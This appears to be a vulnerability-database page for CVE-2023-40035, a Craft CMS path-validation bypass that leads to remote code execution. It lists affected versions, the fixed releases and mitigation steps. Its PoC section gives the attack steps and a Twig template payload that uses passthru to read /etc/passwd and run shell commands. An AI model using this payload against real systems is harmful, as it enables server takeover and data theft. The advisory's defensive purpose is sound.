CVE-2023-40035 is a high-severity (CVSS 7.2) CWE-74 vulnerability in craftcms/cms. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft CMS vulnerable to Remote Code Execution via validatePath bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-40035.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
// Make sure it’s not within any of the system directories
$path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
- Create a new filesystem. Base Path: file:///var/www/html/templates
- Create a new asset volume. Asset Filesystem: local_bypass
- Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
- Create a new route. URI: * , Template: poc.ttml
- Confirm RCE on arbitrary path ( /* )
PoC Env
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.4.15 | 4.4.15composer require craftcms/cms:^4.4.15 |
| 🐘Packagist | craftcms/cms | ≥ 3.0.0&&< 3.8.15 | 3.8.15composer require craftcms/cms:^3.8.15 |
Affected Products
craft cmscraftcmsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 4.4.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-40035 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2023-40035 in your dependencies?
Find it across Packagist, including transitive dependencies.